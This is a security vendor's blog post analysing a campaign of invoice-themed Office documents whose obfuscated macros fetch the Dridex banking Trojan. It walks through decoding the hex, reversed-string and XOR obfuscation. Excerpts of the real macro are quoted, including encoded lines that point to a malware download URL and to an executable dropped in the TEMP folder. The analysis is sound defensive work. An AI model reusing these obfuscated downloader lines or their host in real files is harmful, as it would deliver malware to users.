CVE-2024-3400: PAN-OS Command Injection Vulnerability in GlobalProtect Gateway. Learn More

CVE-2024-3400: PAN-OS Command Injection Vulnerability in GlobalProtect Gateway. Learn More

Services
Capture
Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

twi-managed-portal-color
Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

twi-briefcase-color-svg
Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

tw-laptop-data
Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

twi-database-color-svg
Database Security

Prevent unauthorized access and exceed compliance requirements.

twi-email-color-svg
Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

tw-officer
Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

tw-network
Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Solutions
BY TOPIC
Offensive Security
Solutions to maximize your security ROI
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

Deobfuscating Malicious Macros Using Python

Over the past few weeks, we've observed cybercriminals spamming users, particularly in the UK, using document files embedded with malicious macros masquerading as invoices. The attachment is either a Word or an Excel document file.

Here are some examples incorporating brands based in the UK:

BSL_11927_d0741bc5-e6d3-48e5-9c0d-f98d57d20803

8206_1c5069bd-ef65-4bad-96cf-5f2d51c18084

10591_911a52e8-b842-4ecd-812c-1af8e675e71c
 

11860_cd010bda-6dbd-4f39-8c7f-145a0b2e133b

BSL_8693_353b2060-3260-4f2d-ada4-dbb299075552
 

Users must enable macros in order for these malicious documents to work. In some cases, the documents include instructions for enabling macros.

BSL_12787_f8f086c0-fe33-4b6a-a951-eb79ffd712e5

You may think of document macro viruses as a thing of the past. But this year, some cybercriminal groups have revived this type of campaign in large numbers.

BSL_11381_b62917ad-a18d-42a6-9c15-adc430401c2a
The volume of document-macro based spam we've observed in the past couple of months
 

Common themes in the campaigns include invoices from software companies, online retailers, banking institutions and shipping companies. The message usually claims to be an invoice in Word or Excel file format. Here are the most common subject lines from the past few months:

8798_3ac92fcc-ce07-4654-ac95-cba8ec490b92
Common subject line themes
 

The payload downloads a banking Trojan known as Dridex from a remote webserver. Our friends from Cyren have posted a detailed and technical analysis of this Trojan here.

Deobfuscating the Macros

For the curious, here are some tips on how to extract the VBA macro from the document files and unmask the payload using Python.

I used a tool written by Didier Stevens called oledump.py to extract the macros without using any Microsoft Office application.

8432_28ca69f9-6170-4a3f-899e-2ddaf4e34f65

I modified the tool so that it automatically dumps the code when a macro stream is found in the document using the option –m. Get the modified oledump.py here.

The macros in these documents are usually obfuscated, full of garbage code, and the payload is pretty much hidden. I've posted the extracted macros here in Pastebin for you to check:

  1. Card Receipt
  2. DOC-File
  3. E-bill
  4. Invoice as requested
  5. BACS payment

The key macro that triggers the payload is the function "AutoOpen()". This is a built-in macro function that triggers when the document file is opened.

10642_92d5e23c-5260-44e9-902f-d897596942fc

The cybercriminals have obfuscated the strings such as the drop folder, malware filename, and URL download link. One of the techniques they commonly use is "Text to hexadecimal" obfuscation, where a string like "http:" is converted to its hexadecimal string equivalent: "687474703A"

Below is an example of an obfuscated string of the malware URL

NMVBUIMOQXM fdhdfgdfvdfv("687474703A2F2F37382E3132392E3135332E32332F73737461742F6C6C6476732E706870"), Environ(fdhdfgdfvdfv("54454D50")) & fdhdfgdfvdfv("5C564D5559585759534658512E657865")

And below is the function fdhdfgdfvdfv after removing the garbage and renaming variables to readable names. It just basically converts Hexadecimal to its equivalent text.

Public Function Hextostring(ByVal HexString As String) As String
Dim TemporaryStorage As String
Dim FormedString As String
Dim HexStringLength As Long
For HexStringLength = 1 To Len(HexString) Step 2
TemporaryStorage = Chr$(Val(Chr$(38) & Chr$(72) & Mid$( HexString, HexStringLength, 2)))
FormedString = FormedString & TemporaryStorage
Hextostring = FormedString
End Function

Using Python, the encoded strings can be easily decoded using the binascii.a2b_hex function:

9735_6936c3f1-9895-443b-9c78-bbe923e588c9

This particular group also adds another layer of obfuscation by reversing the hexadecimal strings. The malware author used the function StrReverse which is a built-in VBA function to reverse a given string.

HexToString(StrReverse("568756E2E69626F237A6F22766E247E6F62656E6E65686D25696275736F2F2A307474786")), Environ(HexToString(StrReverse("05D45445"))) & HexToString(StrReverse("568756E2F4A435C45594A415858554C5"))

In Python, we can reverse string by using slice notation, for example "string"[::-1]. Slice notation is explained here:

10540_8e7f6a60-33f4-41e8-878b-a1126b722ca4

Another known obfuscation technique is XOR-ing the string with a predefined key. The example below is an obfuscation of a URL link to the malware executable:

gGHBkj = XORI(Hextostring("1C3B2404757F5B2826593D3F00277E102A7F1E3C7F16263E5A2A2811"), Hextostring("744F50"))

In the example, 1C3B2404757F5B2826593D3F00277E102A7F1E3C7F16263E5A2A2811 is the obfuscated URL and 744F50 is the key.

The macro function XORI takes 2 parameter strings--the encoded message and the key. It then returns the XORed value of the given strings. This is the XORI VBA function after it has been cleaned up:

Public Function XORI(ByVal Encoded_message As String, ByVal Msg_Key As String) As String
Dim Message_length As Long
For Message_length = 1 To Len(Encoded_message)
XORI = XORI & Chr(Asc(Mid(Msg_Key, IIf(Message_length Mod Len(Msg_Key) <> 0, Message_length Mod Len(Msg_Key), Len(Msg_Key)), 1)) Xor Asc(Mid(Encoded_message, Message_length, 1)))
End Function

In Python, we write the XORI function like this:

def XORI(enc_message,key):
dec_message = ""
for i in range(len(enc_message)):
dec_message = dec_message + chr(ord(enc_message[i])^ord(key[(lambda x,y:x%y if x%y >=0 else y)(i,len(key))]))
return dec_message

And after using the a2b_hex Python function to convert hex to string, we can use the XORI function in Python to decode the obfuscated URL:

11240_afe66ecd-f016-47b5-a506-539855668a88

These are the common obfuscation technique we have observed so far with these documents. Usually the payload consists of downloading an executable Trojan from a URL, saving it to the Windows temporary "temp" folder and executing it.

Wrapping up

Macro viruses may have been out of fashion for many years, but we've recently observed a resurgence in cybercriminals using this kind of infection vector to spread their malware. The bad guys try to obfuscate their code to prevent us security researchers and malware tinkerers from analyzing their malware. But really, they're just making malware analysis more fun with the added challenge of cracking code obfuscations.

The Trustwave Secure Email Gateway (SEG) protects against spam campaigns involving malicious macros.

Latest SpiderLabs Blogs

EDR – The Multi-Tool of Security Defenses

This is Part 8 in my ongoing project to cover 30 cybersecurity topics in 30 weekly blog posts. The full series can be found here.

Read More

The Invisible Battleground: Essentials of EASM

Know your enemy – inside and out. External Attack Surface Management tools are an effective way to understand externally facing threats and help plan cyber defenses accordingly. Let’s discuss what...

Read More

Fake Dialog Boxes to Make Malware More Convincing

Let’s explore how SpiderLabs created and incorporated user prompts, specifically Windows dialog boxes into its malware loader to make it more convincing to phishing targets during a Red Team...

Read More